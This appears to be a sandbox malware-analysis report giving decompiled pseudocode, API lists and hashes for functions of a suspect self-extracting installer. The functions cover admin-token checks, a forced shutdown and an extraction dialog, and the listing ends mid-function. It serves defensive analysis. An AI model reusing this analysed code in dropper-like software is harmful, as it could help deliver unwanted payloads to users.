Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: Char$Upper$CloseCompareExitFileHandleModuleNameNextProcessString
String ID: "$"$:$RegServer
API String ID: 1203814774-25366791
Opcode ID: 498f963dba783da8b96269a1771e93afe38932f5814089f884182febcb72683d
Instruction ID: 983a309d904afcb6f26e9449b5ccf04c1f08ea913405734821a6b316832ef085
Opcode Fuzzy Hash: 498f963dba783da8b96269a1771e93afe38932f5814089f884182febcb72683d
Instruction Fuzzy Hash: D3D14A71E04B546ADF39CB7C9C497FA77B1AB16344F2481AAF4D6C6190DAB48E838F40

Uniqueness

Uniqueness Score: -1.00%

Function 00A318A3 Relevance: 16.6, APIs: 11, Instructions: 112
memoryCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00A318A3(void* __edx, void* __esi) {
				signed int _v8;
				short _v12;
				struct _SID_IDENTIFIER_AUTHORITY _v16;
				char _v20;
				long _v24;
				void* _v28;
				void* _v32;
				void* __ebx;
				void* __edi;
				signed int _t23;
				long _t45;
				void* _t49;
				int _t50;
				void* _t52;
				signed int _t53;

				_t51 = __esi;
				_t49 = __edx;
				_t23 =  *0xa38004; // 0xb6b6972c
				_v8 = _t23 ^ _t53;
				_t25 =  *0xa38128; // 0x2
				_t45 = 0;
				_v12 = 0x500;
				_t50 = 2;
				_v16.Value = 0;
				_v20 = 0;
				if(_t25 != _t50) {
					L20:
					return E00A36CE0(_t25, _t45, _v8 ^ _t53, _t49, _t50, _t51);
				}
				if(E00A317EE( &_v20) != 0) {
					_t25 = _v20;
					if(_v20 != 0) {
						 *0xa38128 = 1;
					}
					goto L20;
				}
				if(OpenProcessToken(GetCurrentProcess(), 8,  &_v28) == 0) {
					goto L20;
				}
				if(GetTokenInformation(_v28, _t50, 0, 0,  &_v24) != 0 || GetLastError() != 0x7a) {
					L17:
					CloseHandle(_v28);
					_t25 = _v20;
					goto L20;
				} else {
					_push(__esi);
					_t52 = LocalAlloc(0, _v24);
					if(_t52 == 0) {
						L16:
						_pop(_t51);
						goto L17;
					}
					if(GetTokenInformation(_v28, _t50, _t52, _v24,  &_v24) == 0 || AllocateAndInitializeSid( &_v16, _t50, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v32) == 0) {
						L15:
						LocalFree(_t52);
						goto L16;
					} else {
						if( *_t52 <= 0) {
							L14:
							FreeSid(_v32);
							goto L15;
						}
						_t15 = _t52 + 4; // 0x4
						_t50 = _t15;
						while(EqualSid( *_t50, _v32) == 0) {
							_t45 = _t45 + 1;
							_t50 = _t50 + 8;
							if(_t45 <  *_t52) {
								continue;
							}
							goto L14;
						}
						 *0xa38128 = 1;
						_v20 = 1;
						goto L14;
					}
				}
			}

0x00a318a3
0x00a318a3
0x00a318ab
0x00a318b2
0x00a318b5
0x00a318be
0x00a318c0
0x00a318c6
0x00a318c7
0x00a318ca
0x00a318cf
0x00a319c9
0x00a319d8
0x00a319d8
0x00a318df
0x00a319b8
0x00a319bd
0x00a319bf
0x00a319bf
0x00000000
0x00a319bd
0x00a318fa
0x00000000
0x00000000
0x00a31912
0x00a319aa
0x00a319ad
0x00a319b3
0x00000000
0x00a31927
0x00a31927
0x00a31932
0x00a31936
0x00a319a9
0x00a319a9
0x00000000
0x00a319a9
0x00a3194c
0x00a319a2
0x00a319a3
0x00000000
0x00a3196e
0x00a31970
0x00a31999
0x00a3199c
0x00000000
0x00a3199c
0x00a31972
0x00a31972
0x00a31975
0x00a31984
0x00a31985
0x00a3198a
0x00000000
0x00000000
0x00000000
0x00a3198c
0x00a31991
0x00a31996
0x00000000
0x00a31996
0x00a3194c

APIs

Part of subcall function 00A317EE: LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,00A318DD), ref: 00A3181A
Part of subcall function 00A317EE: GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 00A3182C
Part of subcall function 00A317EE: AllocateAndInitializeSid.ADVAPI32(00A318DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,00A318DD), ref: 00A31855
Part of subcall function 00A317EE: FreeSid.ADVAPI32(?,?,?,?,00A318DD), ref: 00A31883
Part of subcall function 00A317EE: FreeLibrary.KERNEL32(00000000,?,?,?,00A318DD), ref: 00A3188A

GetCurrentProcess.KERNEL32(00000008,?,00000000,00000001), ref: 00A318EB
OpenProcessToken.ADVAPI32(00000000), ref: 00A318F2
GetTokenInformation.ADVAPI32(?,00000002,00000000,00000000,?), ref: 00A3190A
GetLastError.KERNEL32 ref: 00A31918
LocalAlloc.KERNEL32(00000000,?,?), ref: 00A3192C
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?), ref: 00A31944
AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00A31964
EqualSid.ADVAPI32(00000004,?), ref: 00A3197A
FreeSid.ADVAPI32(?), ref: 00A3199C
LocalFree.KERNEL32(00000000), ref: 00A319A3
CloseHandle.KERNEL32(?), ref: 00A319AD

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: Free$Token$AllocateInformationInitializeLibraryLocalProcess$AddressAllocCloseCurrentEqualErrorHandleLastLoadOpenProc
String ID:
API String ID: 2168512254-0
Opcode ID: 8e890dc0cb21ff2210e12fb27c699cab2bddba4e27f5c24f4c579c839dbd32aa
Instruction ID: 44fbf0d1da3d927f3498cb9c3d6220cedb9a037888ac98d0d90c0a6f94ef2d0f
Opcode Fuzzy Hash: 8e890dc0cb21ff2210e12fb27c699cab2bddba4e27f5c24f4c579c839dbd32aa
Instruction Fuzzy Hash: C0310A71A00219AFDB20DFE5EC98AAFBBBCFF19700F104429F585D2160DB359916CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00A31F90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94
shutdownCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E00A31F90(signed int __ecx, void* __edi, void* __esi) {
				signed int _v8;
				int _v12;
				struct _TOKEN_PRIVILEGES _v24;
				void* _v28;
				void* __ebx;
				signed int _t13;
				int _t21;
				void* _t25;
				int _t28;
				signed char _t30;
				void* _t38;
				void* _t40;
				void* _t41;
				signed int _t46;

				_t41 = __esi;
				_t38 = __edi;
				_t30 = __ecx;
				if((__ecx & 0x00000002) != 0) {
					L12:
					if((_t30 & 0x00000004) != 0) {
						L14:
						if( *0xa39a40 != 0) {
							_pop(_t30);
							_t44 = _t46;
							_t13 =  *0xa38004; // 0xb6b6972c
							_v8 = _t13 ^ _t46;
							_push(_t38);
							if(OpenProcessToken(GetCurrentProcess(), 0x28,  &_v28) != 0) {
								LookupPrivilegeValueA(0, "SeShutdownPrivilege",  &(_v24.Privileges));
								_v24.PrivilegeCount = 1;
								_v12 = 2;
								_t21 = AdjustTokenPrivileges(_v28, 0,  &_v24, 0, 0, 0);
								CloseHandle(_v28);
								_t41 = _t41;
								_push(0);
								if(_t21 != 0) {
									if(ExitWindowsEx(2, ??) != 0) {
										_t25 = 1;
									} else {
										_t37 = 0x4f7;
										goto L3;
									}
								} else {
									_t37 = 0x4f6;
									goto L4;
								}
							} else {
								_t37 = 0x4f5;
								L3:
								_push(0);
								L4:
								_push(0x10);
								_push(0);
								_push(0);
								E00A344B9(0, _t37);
								_t25 = 0;
							}
							_pop(_t40);
							return E00A36CE0(_t25, _t30, _v8 ^ _t44, _t37, _t40, _t41);
						} else {
							_t28 = ExitWindowsEx(2, 0);
							goto L16;
						}
					} else {
						_t37 = 0x522;
						_t28 = E00A344B9(0, 0x522, 0xa31140, 0, 0x40, 4);
						if(_t28 != 6) {
							goto L16;
						} else {
							goto L14;
						}
					}
				} else {
					__eax = E00A31EA7(__ecx);
					if(__eax != 2) {
						L16:
						return _t28;
					} else {
						goto L12;
					}
				}
			}

0x00a31f90
0x00a31f90
0x00a31f93
0x00a31f98
0x00a31fa4
0x00a31fa7
0x00a31fc5
0x00a31fcd
0x00a31fdb
0x00a31ee5
0x00a31eea
0x00a31ef1
0x00a31ef4
0x00a31f0c
0x00a31f2e
0x00a31f3a
0x00a31f46
0x00a31f4d
0x00a31f58
0x00a31f60
0x00a31f61
0x00a31f62
0x00a31f75
0x00a31f80
0x00a31f77
0x00a31f77
0x00000000
0x00a31f77
0x00a31f64
0x00a31f64
0x00000000
0x00a31f64
0x00a31f0e
0x00a31f0e
0x00a31f13
0x00a31f13
0x00a31f14
0x00a31f14
0x00a31f16
0x00a31f17
0x00a31f1a
0x00a31f1f
0x00a31f1f
0x00a31f86
0x00a31f8f
0x00a31fcf
0x00a31fd3
0x00000000
0x00a31fd3
0x00a31fa9
0x00a31fb4
0x00a31fbb
0x00a31fc3
0x00000000
0x00000000
0x00000000
0x00000000
0x00a31fc3
0x00a31f9a
0x00a31f9a
0x00a31fa2
0x00a31fd9
0x00a31fda
0x00000000
0x00000000
0x00000000
0x00a31fa2

APIs

GetCurrentProcess.KERNEL32(00000028,?,?), ref: 00A31EFB
OpenProcessToken.ADVAPI32(00000000), ref: 00A31F02
ExitWindowsEx.USER32(00000002,00000000), ref: 00A31FD3

Strings

SeShutdownPrivilege, xrefs: 00A31F28

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: Process$CurrentExitOpenTokenWindows
String ID: SeShutdownPrivilege
API String ID: 2795981589-3733053543
Opcode ID: a3c87f098cfb7bc1e9693faff2331aa0e21ae48dc5f8399331280fec17d8ca71
Instruction ID: a574c51e60c09b3ea28157287257cc3adad2d352a6918105b85a1aabb6972824
Opcode Fuzzy Hash: a3c87f098cfb7bc1e9693faff2331aa0e21ae48dc5f8399331280fec17d8ca71
Instruction Fuzzy Hash: 2B21D6B1B403057BDB209BE19C4AFBF7BBCEB95B50F20052EFA02E6181D7758802D661

Uniqueness

Uniqueness Score: -1.00%

Function 00A37155 Relevance: 7.6, APIs: 5, Instructions: 51
timethreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A37155() {
				void* _v8;
				struct _FILETIME _v16;
				signed int _v20;
				union _LARGE_INTEGER _v24;
				signed int _t23;
				signed int _t36;
				signed int _t37;
				signed int _t39;

				_v16.dwLowDateTime = _v16.dwLowDateTime & 0x00000000;
				_v16.dwHighDateTime = _v16.dwHighDateTime & 0x00000000;
				_t23 =  *0xa38004; // 0xb6b6972c
				if(_t23 == 0xbb40e64e || (0xffff0000 & _t23) == 0) {
					GetSystemTimeAsFileTime( &_v16);
					_v8 = _v16.dwHighDateTime ^ _v16.dwLowDateTime;
					_v8 = _v8 ^ GetCurrentProcessId();
					_v8 = _v8 ^ GetCurrentThreadId();
					_v8 = GetTickCount() ^ _v8 ^  &_v8;
					QueryPerformanceCounter( &_v24);
					_t36 = _v20 ^ _v24.LowPart ^ _v8;
					_t39 = _t36;
					if(_t36 == 0xbb40e64e || ( *0xa38004 & 0xffff0000) == 0) {
						_t36 = 0xbb40e64f;
						_t39 = 0xbb40e64f;
					}
					 *0xa38004 = _t39;
				}
				_t37 =  !_t36;
				 *0xa38008 = _t37;
				return _t37;
			}

0x00a3715d
0x00a37161
0x00a37165
0x00a37178
0x00a37182
0x00a3718e
0x00a37197
0x00a371a0
0x00a371b1
0x00a371b8
0x00a371c4
0x00a371c7
0x00a371cb
0x00a371d5
0x00a371da
0x00a371da
0x00a371dc
0x00a371dc
0x00a371e2
0x00a371e5
0x00a371ee

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 00A37182
GetCurrentProcessId.KERNEL32 ref: 00A37191
GetCurrentThreadId.KERNEL32 ref: 00A3719A
GetTickCount.KERNEL32 ref: 00A371A3
QueryPerformanceCounter.KERNEL32(?), ref: 00A371B8

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 35943aed9e131b00f268ca48aebc50ed9eb5e8f48b3bb2d48d18196ad6252990
Instruction ID: 6bf526da91e02dab95e65eb8eed9ce55dfa8935561e3852b9ebc74cded3d261f
Opcode Fuzzy Hash: 35943aed9e131b00f268ca48aebc50ed9eb5e8f48b3bb2d48d18196ad6252990
Instruction Fuzzy Hash: 0C113AB1D01218DBCB14DFF8DE48A9EB7F4EF18310F614A55F806E7220EA349A058B41

Uniqueness

Uniqueness Score: -1.00%

Function 00A36CF0 Relevance: 6.0, APIs: 4, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A36CF0(struct _EXCEPTION_POINTERS* _a4) {

				SetUnhandledExceptionFilter(0);
				UnhandledExceptionFilter(_a4);
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x00a36cf7
0x00a36d00
0x00a36d19

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00A36E26,00A31000), ref: 00A36CF7
UnhandledExceptionFilter.KERNEL32(00A36E26,?,00A36E26,00A31000), ref: 00A36D00
GetCurrentProcess.KERNEL32(C0000409,?,00A36E26,00A31000), ref: 00A36D0B
TerminateProcess.KERNEL32(00000000,?,00A36E26,00A31000), ref: 00A36D12

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID:
API String ID: 3231755760-0
Opcode ID: 2d51a813522bdd92ad579657c636fc1a516bfe90140abca04784b5d18987ae12
Instruction ID: 8f508ff5e7b64412803d0abbd6e23c7116d503ae340bed5e8afb57740c1a4acb
Opcode Fuzzy Hash: 2d51a813522bdd92ad579657c636fc1a516bfe90140abca04784b5d18987ae12
Instruction Fuzzy Hash: 56D0C932000218BBDB006BE1EC0CA593F28EB58212F444104F35982020CA7244528B52

Uniqueness

Uniqueness Score: -1.00%

Function 00A33210 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 188
windowCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E00A33210(struct HWND__* _a4, intOrPtr _a8, intOrPtr _a12) {
				void* __edi;
				void* _t6;
				void* _t10;
				int _t20;
				int _t21;
				int _t23;
				char _t24;
				long _t25;
				int _t27;
				int _t30;
				void* _t32;
				int _t33;
				int _t34;
				int _t37;
				int _t38;
				int _t39;
				void* _t42;
				void* _t46;
				CHAR* _t49;
				void* _t58;
				void* _t63;
				struct HWND__* _t64;

				_t64 = _a4;
				_t6 = _a8 - 0x10;
				if(_t6 == 0) {
					_push(0);
					L38:
					EndDialog(_t64, ??);
					L39:
					__eflags = 1;
					return 1;
				}
				_t42 = 1;
				_t10 = _t6 - 0x100;
				if(_t10 == 0) {
					E00A343D0(_t64, GetDesktopWindow());
					SetWindowTextA(_t64, "zhiga");
					SendDlgItemMessageA(_t64, 0x835, 0xc5, 0x103, 0);
					__eflags =  *0xa39a40 - _t42; // 0x3
					if(__eflags == 0) {
						EnableWindow(GetDlgItem(_t64, 0x836), 0);
					}
					L36:
					return _t42;
				}
				if(_t10 == _t42) {
					_t20 = _a12 - 1;
					__eflags = _t20;
					if(_t20 == 0) {
						_t21 = GetDlgItemTextA(_t64, 0x835, 0xa391e4, 0x104);
						__eflags = _t21;
						if(_t21 == 0) {
							L32:
							_t58 = 0x4bf;
							_push(0);
							_push(0x10);
							_push(0);
							_push(0);
							L25:
							E00A344B9(_t64, _t58);
							goto L39;
						}
						_t49 = 0xa391e4;
						do {
							_t23 =  *_t49;
							_t49 =  &(_t49[1]);
							__eflags = _t23;
						} while (_t23 != 0);
						__eflags = _t49 - 0xa391e5 - 3;
						if(_t49 - 0xa391e5 < 3) {
							goto L32;
						}
						_t24 =  *0xa391e5; // 0x3a
						__eflags = _t24 - 0x3a;
						if(_t24 == 0x3a) {
							L21:
							_t25 = GetFileAttributesA(0xa391e4);
							__eflags = _t25 - 0xffffffff;
							if(_t25 != 0xffffffff) {
								L26:
								E00A3658A(0xa391e4, 0x104, 0xa31140);
								_t27 = E00A358C8(0xa391e4);
								__eflags = _t27;
								if(_t27 != 0) {
									__eflags =  *0xa391e4 - 0x5c;
									if( *0xa391e4 != 0x5c) {
										L30:
										_t30 = E00A3597D(0xa391e4, 1, _t64, 1);
										__eflags = _t30;
										if(_t30 == 0) {
											L35:
											_t42 = 1;
											__eflags = 1;
											goto L36;
										}
										L31:
										_t42 = 1;
										EndDialog(_t64, 1);
										goto L36;
									}
									__eflags =  *0xa391e5 - 0x5c;
									if( *0xa391e5 == 0x5c) {
										goto L31;
									}
									goto L30;
								}
								_push(0);
								_push(0x10);
								_push(0);
								_push(0);
								_t58 = 0x4be;
								goto L25;
							}
							_t32 = E00A344B9(_t64, 0x54a, 0xa391e4, 0, 0x20, 4);
							__eflags = _t32 - 6;
							if(_t32 != 6) {
								goto L35;
							}
							_t33 = CreateDirectoryA(0xa391e4, 0);
							__eflags = _t33;
							if(_t33 != 0) {
								goto L26;
							}
							_push(0);
							_push(0x10);
							_push(0);
							_push(0xa391e4);
							_t58 = 0x4cb;
							goto L25;
						}
						__eflags =  *0xa391e4 - 0x5c;
						if( *0xa391e4 != 0x5c) {
							goto L32;
						}
						__eflags = _t24 - 0x5c;
						if(_t24 != 0x5c) {
							goto L32;
						}
						goto L21;
					}
					_t34 = _t20 - 1;
					__eflags = _t34;
					if(_t34 == 0) {
						EndDialog(_t64, 0);
						 *0xa39124 = 0x800704c7;
						goto L39;
					}
					__eflags = _t34 != 0x834;
					if(_t34 != 0x834) {
						goto L36;
					}
					_t37 = LoadStringA( *0xa39a3c, 0x3e8, 0xa38598, 0x200);
					__eflags = _t37;
					if(_t37 != 0) {
						_t38 = E00A34224(_t64, _t46, _t46);
						__eflags = _t38;
						if(_t38 == 0) {
							goto L36;
						}
						_t39 = SetDlgItemTextA(_t64, 0x835, 0xa387a0);
						__eflags = _t39;
						if(_t39 != 0) {
							goto L36;
						}
						_t63 = 0x4c0;
						L9:
						E00A344B9(_t64, _t63, 0, 0, 0x10, 0);
						_push(0);
						goto L38;
					}
					_t63 = 0x4b1;
					goto L9;
				}
				return 0;
			}

0x00a3321b
0x00a3321e
0x00a33221
0x00a3343c
0x00a3343e
0x00a3343f
0x00a33445
0x00a33447
0x00000000
0x00a33447
0x00a33229
0x00a3322a
0x00a3322f
0x00a333ec
0x00a333f7
0x00a33410
0x00a33416
0x00a3341d
0x00a3342d
0x00a3342d
0x00a33438
0x00000000
0x00a33438
0x00a33237
0x00a33243
0x00a33243
0x00a33246
0x00a332ee
0x00a332f4
0x00a332f6
0x00a333d4
0x00a333d6
0x00a333db
0x00a333dc
0x00a333de
0x00a333df
0x00a33370
0x00a33372
0x00000000
0x00a33372
0x00a332fc
0x00a33301
0x00a33301
0x00a33303
0x00a33304
0x00a33304
0x00a3330a
0x00a3330d
0x00000000
0x00000000
0x00a33313
0x00a33318
0x00a3331a
0x00a33331
0x00a33332
0x00a3333a
0x00a3333d
0x00a3337c
0x00a33388
0x00a3338f
0x00a33394
0x00a33396
0x00a333a4
0x00a333ab
0x00a333b6
0x00a333be
0x00a333c3
0x00a333c5
0x00a33435
0x00a33437
0x00a33437
0x00000000
0x00a33437
0x00a333c7
0x00a333c9
0x00a333cc
0x00000000
0x00a333cc
0x00a333ad
0x00a333b4
0x00000000
0x00000000
0x00000000
0x00a333b4
0x00a33398
0x00a33399
0x00a3339b
0x00a3339c
0x00a3339d
0x00000000
0x00a3339d
0x00a3334c
0x00a33351
0x00a33354
0x00000000
0x00000000
0x00a3335c
0x00a33362
0x00a33364
0x00000000
0x00000000
0x00a33366
0x00a33367
0x00a33369
0x00a3336a
0x00a3336b
0x00000000
0x00a3336b
0x00a3331c
0x00a33323
0x00000000
0x00000000
0x00a33329
0x00a3332b
0x00000000
0x00000000
0x00000000
0x00a3332b
0x00a3324c
0x00a3324c
0x00a3324f
0x00a332c8
0x00a332ce
0x00000000
0x00a332ce
0x00a33251
0x00a33256
0x00000000
0x00000000
0x00a33271
0x00a33277
0x00a33279
0x00a33298
0x00a3329d
0x00a3329f
0x00000000
0x00000000
0x00a332b0
0x00a332b6
0x00a332b8
0x00000000
0x00000000
0x00a332be
0x00a33280
0x00a33289
0x00a3328e
0x00000000
0x00a3328e
0x00a3327b
0x00000000
0x00a3327b
0x00000000

APIs

LoadStringA.USER32(000003E8,00A38598,00000200), ref: 00A33271
GetDesktopWindow.USER32 ref: 00A333E2
SetWindowTextA.USER32(?,zhiga), ref: 00A333F7
SendDlgItemMessageA.USER32(?,00000835,000000C5,00000103,00000000), ref: 00A33410
GetDlgItem.USER32(?,00000836), ref: 00A33426
EnableWindow.USER32(00000000), ref: 00A3342D
EndDialog.USER32(?,00000000), ref: 00A3343F

Strings

zhiga, xrefs: 00A333F1
C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 00A332E2, 00A332E7, 00A33331, 00A33344, 00A3335B, 00A3336A

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: Window$Item$DesktopDialogEnableLoadMessageSendStringText
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$zhiga
API String ID: 2418873061-456855365
Opcode ID: 15a21818131798d4c224b325f2fc13b250d96ed482788673ef5e7dffdff34523
Instruction ID: 7b0eeb309b1a9858b187971389addd4f1380f2c486a9a1d24cddfb5094dd2efb
Opcode Fuzzy Hash: 15a21818131798d4c224b325f2fc13b250d96ed482788673ef5e7dffdff34523
Instruction Fuzzy Hash: ED516D3234835077EF219BB55C4DFBB695DDB56B52F108228F286EA1D0CEA4CE03A261

Uniqueness

Uniqueness Score: -1.00%

Function 00A32CAA Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 183
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00A32CAA(struct HINSTANCE__* __ecx, void* __edx, void* __eflags) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t13;
				void* _t20;
				void* _t23;
				void* _t27;
				struct HRSRC__* _t31;
				intOrPtr _t33;
				void* _t43;
				void* _t48;
				signed int _t65;
				struct HINSTANCE__* _t66;
				signed int _t67;

				_t13 =  *0xa38004; // 0xb6b6972c
				_v8 = _t13 ^ _t67;
				_t65 = 0;
				_t66 = __ecx;
				_t48 = __edx;
				 *0xa39a3c = __ecx;
				memset(0xa39140, 0, 0x8fc);
				memset(0xa38a20, 0, 0x32c);
				memset(0xa388c0, 0, 0x104);
				 *0xa393ec = 1;
				_t20 = E00A3468F("TITLE", 0xa39154, 0x7f);
				if(_t20 == 0 || _t20 > 0x80) {
					_t64 = 0x4b1;
					goto L32;
				} else {
					_t27 = CreateEventA(0, 1, 1, 0);
					 *0xa3858c = _t27;
					SetEvent(_t27);
					_t64 = 0xa39a34;
					if(E00A3468F("EXTRACTOPT", 0xa39a34, 4) != 0) {
						if(( *0xa39a34 & 0x000000c0) == 0) {
							L12:
							 *0xa39120 =  *0xa39120 & _t65;
							if(E00A35C9E(_t48, _t48, _t65, _t66) != 0) {
								if( *0xa38a3a == 0) {
									_t31 = FindResourceA(_t66, "VERCHECK", 0xa);
									if(_t31 != 0) {
										_t65 = LoadResource(_t66, _t31);
									}
									if( *0xa38184 != 0) {
										__imp__#17();
									}
									if( *0xa38a24 == 0) {
										_t57 = _t65;
										if(E00A336EE(_t65) == 0) {
											goto L33;
										} else {
											_t33 =  *0xa39a40; // 0x3
											_t48 = 1;
											if(_t33 == 1 || _t33 == 2 || _t33 == 3) {
												if(( *0xa39a34 & 0x00000100) == 0 || ( *0xa38a38 & 0x00000001) != 0 || E00A318A3(_t64, _t66) != 0) {
													goto L30;
												} else {
													_t64 = 0x7d6;
													if(E00A36517(_t57, 0x7d6, _t34, E00A319E0, 0x547, 0x83e) != 0x83d) {
														goto L33;
													} else {
														goto L30;
													}
												}
											} else {
												L30:
												_t23 = _t48;
											}
										}
									} else {
										_t23 = 1;
									}
								} else {
									E00A32390(0xa38a3a);
									goto L33;
								}
							} else {
								_t64 = 0x520;
								L32:
								E00A344B9(0, _t64, 0, 0, 0x10, 0);
								goto L33;
							}
						} else {
							_t64 =  &_v268;
							if(E00A3468F("INSTANCECHECK",  &_v268, 0x104) == 0) {
								goto L3;
							} else {
								_t43 = CreateMutexA(0, 1,  &_v268);
								 *0xa38588 = _t43;
								if(_t43 == 0 || GetLastError() != 0xb7) {
									goto L12;
								} else {
									if(( *0xa39a34 & 0x00000080) == 0) {
										_t64 = 0x524;
										if(E00A344B9(0, 0x524, ?str?, 0, 0x20, 4) == 6) {
											goto L12;
										} else {
											goto L11;
										}
									} else {
										_t64 = 0x54b;
										E00A344B9(0, 0x54b, "zhiga", 0, 0x10, 0);
										L11:
										CloseHandle( *0xa38588);
										 *0xa39124 = 0x800700b7;
										goto L33;
									}
								}
							}
						}
					} else {
						L3:
						_t64 = 0x4b1;
						E00A344B9(0, 0x4b1, 0, 0, 0x10, 0);
						 *0xa39124 = 0x80070714;
						L33:
						_t23 = 0;
					}
				}
				return E00A36CE0(_t23, _t48, _v8 ^ _t67, _t64, _t65, _t66);
			}

0x00a32cb5
0x00a32cbc
0x00a32cc7
0x00a32cc9
0x00a32cd1
0x00a32cd3
0x00a32cd9
0x00a32ce9
0x00a32cf9
0x00a32d0e
0x00a32d15
0x00a32d1c
0x00a32ef3
0x00000000
0x00a32d2d
0x00a32d34
0x00a32d3b
0x00a32d40
0x00a32d48
0x00a32d59
0x00a32d84
0x00a32e1f
0x00a32e1f
0x00a32e2e
0x00a32e41
0x00a32e5a
0x00a32e62
0x00a32e6c
0x00a32e6c
0x00a32e75
0x00a32e77
0x00a32e77
0x00a32e84
0x00a32e8b
0x00a32e94
0x00000000
0x00a32e96
0x00a32e96
0x00a32e9e
0x00a32ea2
0x00a32eba
0x00000000
0x00a32ece
0x00a32ede
0x00a32eed
0x00000000
0x00000000
0x00000000
0x00000000
0x00a32eed
0x00a32eef
0x00a32eef
0x00a32eef
0x00a32eef
0x00a32ea2
0x00a32e86
0x00a32e88
0x00a32e88
0x00a32e43
0x00a32e48
0x00000000
0x00a32e48
0x00a32e30
0x00a32e30
0x00a32ef8
0x00a32f01
0x00000000
0x00a32f01
0x00a32d8a
0x00a32d8f
0x00a32da1
0x00000000
0x00a32da3
0x00a32dae
0x00a32db4
0x00a32dbb
0x00000000
0x00a32dca
0x00a32dd3
0x00a32df5
0x00a32e02
0x00000000
0x00000000
0x00000000
0x00000000
0x00a32dd5
0x00a32dde
0x00a32de3
0x00a32e04
0x00a32e0a
0x00a32e10
0x00000000
0x00a32e10
0x00a32dd3
0x00a32dbb
